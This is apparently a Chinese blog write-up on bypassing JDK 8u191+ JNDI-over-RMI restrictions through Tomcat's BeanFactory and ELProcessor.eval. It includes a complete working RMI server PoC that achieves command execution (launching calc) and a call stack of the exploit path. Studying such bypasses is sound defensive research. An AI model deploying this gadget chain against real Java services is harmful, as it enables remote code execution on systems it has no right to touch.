《JDK 8u191之後的JNDI注入(RMI)》

參考:

繞過限制:利用本地Class作爲Reference Factory

利用org.apache.naming.factory.BeanFactory

與之前的LDAP利用的繞過類似,也是有這麼一個方法:
jdk1.8.0_201\jre\lib\rt.jar!\com\sun\jndi\rmi\registry\RegistryContext#decodeObject(Remote var1, Name var2)

由於在這個類com.sun.jndi.rmi.registry.RegistryContext的靜態代碼塊中設置了trustURLCodebase爲false。除非手動將該JVM參數設置爲true。
在這裏插入圖片描述
下圖可見,傳統利用方式,在高版本JDK中被限制,拋出異常。
在這裏插入圖片描述

針對 RMI 利用的檢查方式中最關鍵的就是 if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) 如果 FactoryClassLocation 爲空,那麼就會進入 NamingManager.getObjectInstance 在此方法會調用 Reference 中的ObjectFactory。因此繞過思路爲在目標 classpath 中尋找實現 ObjectFactory 接口的類。在 Tomcat 中有一處可以利用的符合條件的類org.apache.naming.factory.BeanFactory 在此類中會獲取 Reference 中的forceString 得到其中的值之後會判斷是否包含等號,如果包含則用等號分割,將前一半當做方法名,後一半當做 Hashmap 中的 key。如果不包含等號則方法名變成 set開頭。值得注意的是此方法中已經指定了參數類型爲 String。後面將會利用反射執行前面所提到的方法。因此需要找到使用了 String 作爲參數,並且能 RCE的方法。在javax.el.ELProcessor 中的 eval 方法就很合適

參考:
https://bl4ck.in/tricks/2019/01/04/JNDI-Injection-Bypass.html

PoC構造:
將ResourceRef構造器的第七個參數設置爲null:
tomcat-embed-core-8.5.11.jar!\org\apache\naming\ResourceRef.class
在這裏插入圖片描述

完整代碼

// TomcatRMIServer.java
/**
* javac -cp  "D:\repos\apache-tomcat-8.5.53\lib\catalina.jar" .\TomcatRMIServer.java
* java -cp ".;D:\repos\apache-tomcat-8.5.53\lib\catalina.jar" TomcatRMIServer
*/
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class TomcatRMIServer {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1098);
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
        resourceRef.add(new StringRefAddr("forceString", "a=eval"));
        resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("EvalObj", referenceWrapper);
        System.out.println("the Server is bind rmi://127.0.0.1:1098/EvalObj");
    }
}

則對應的factoryLocation屬性爲null,這樣在邏輯判斷時,不滿足第一個if的條件,於是進入else邏輯中。
在這裏插入圖片描述
jdk1.8.0_201\jre\lib\rt.jar!\com\sun\jndi\rmi\registry\RegistryContext#decodeObject(Remote var1, Name var2)
繼續跟進:
javax.naming.spi.NamingManager#getObjectInstance
在這裏插入圖片描述
繼續跟進org.apache.naming.factory.BeanFactory#getObjectInstance
在這裏插入圖片描述
取出RMI服務發過來的對象的值,最後執行:
在這裏插入圖片描述
以下爲演示:
在這裏插入圖片描述
原理是調用了

new javax.el.ELProcessor().eval("Runtime.getRuntime().exec(\"calc\")");

調用棧:

eval:54, ELProcessor (javax.el)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getObjectInstance:211, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章